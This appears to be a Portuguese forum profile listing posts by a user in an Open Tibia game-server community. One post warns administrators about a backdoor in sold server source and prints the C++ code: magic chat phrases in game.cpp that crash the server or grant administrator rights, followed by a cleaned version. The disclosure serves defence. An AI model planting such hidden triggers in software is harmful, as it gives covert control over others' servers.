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Prometheus X

Artesão
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Tudo que Prometheus X postou

  1. Estou pensando...
  2. Ele não pagou isso era apenas brincadeira ele nem tem á source só eu tenho. Vini vamo parar com á brincadeira geral sabe que só eu tenho á source ^^
  3. Só aceitar skype
  4. Deixe seu contato para mim entrar em contato
  5. Somente eu tenho as Sources porquê eu que mexi na Source e no distro e passei pra ele talvez eu poste futuramente. Obrigado pela Contribuição Vini ! Atenciosamente Prometheus X
  6. O Cargo é Setado Antes do banimento então o cara iria ficar impune, haha.
  7. Primeiro você vem na comunidade pedir ajuda depois crítica quem ajuda, meu deus... Vai pagar pra descriptografar? paga pra quem desenvolveu á sprite liberar pra você '-'
  8. Olá EKZ, hoje um amigo me disse que ele comprou um servidor e estava com código que quem vendeu para ele conseguia pegar administrador e crashar o jogo e estava ferrando com o jogo , enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava cargo de administrador a um jogador com groups de player. Então eu achei muita mancada e vim postar aqui para ajudar pessoas que são administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará das sources do seu servidor para fazer essa verificação, caso possua o código peço que siga o tutorial abaixo. Ache em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso) bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Mude para: bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Créditos Prometheus X (Por Trazer ao Xtibia) Alexy Brocanello (Pelo Código) CipSoft (Pelo Código Original) Qualquer outro será creditado ! Atenciosamente Prometheus X
  9. Você é Spriter né? gostaria de trocar uma ideia tenho um projeto bem dahora, vem chat pv
  10. Isso é Ripping cara tu ta querendo pegar conteúdo que não é seu isso de qualquer maneira eu não apoio :3
  11. Vish ae fica difícil '-'
  12. Você usa o Extended? se sim baixe o com instalador, instale e depois jogue o Extended na pasta do Oficial e substitua
  13. Tenta Instalar novamente o RME.
  14. [PROTEGER CLIENTE], [EXTENDER CLIENTE 8.60] E [sERVIDOR ACEITE O EXTENDIDO] Eu Consigo fazer já descompilar qualquer cliente eu não manjo de descriptografia pois é algo muito difícil pois existem diversas criptografias como MD5, GPG, DES, IDEA, RC, BF, WEP, RSA, WPA, WPA2, EG, Etc. Então é muito difícil descobrir qual criptografia foi usada para criptografar um cliente para achar uma Engenharia Reversa para descriptografar, bom é isso eu não garanto um serviço barato e bom, mais caso tiver interesse da mesma maneira, entre em contato. Atenciosamente Prometheus X
  15. Não faço ideia
  16. Pela Falta da Source fica impossível, mais se você adaptar uma source tem como sim.
  17. Esse ae é à neblina a chuva não trava assim kkkkk, Vlw
  18. Concordo Plenamente, esse é um dos pontos negativos, em momento algum eu achei que era uma crítica
  19. Vish mano isso eu não manjo não é minha arêa quem saberia fazer é o desenvolvedor desse que é á equipe PXM, mais acho que á equipe se dividiu e alguns pararam com OTServ
  20. Não até onde sei, haha Tem Colisão de chuva só não sei se está ativo @Deadpool GIF: http://giphy.com/gifs/l0HlU4uKvrpLg4FDG/
  21. Assim que der postarei parceiro ^^
  22. Obrigado :3
  23. Prometheus X

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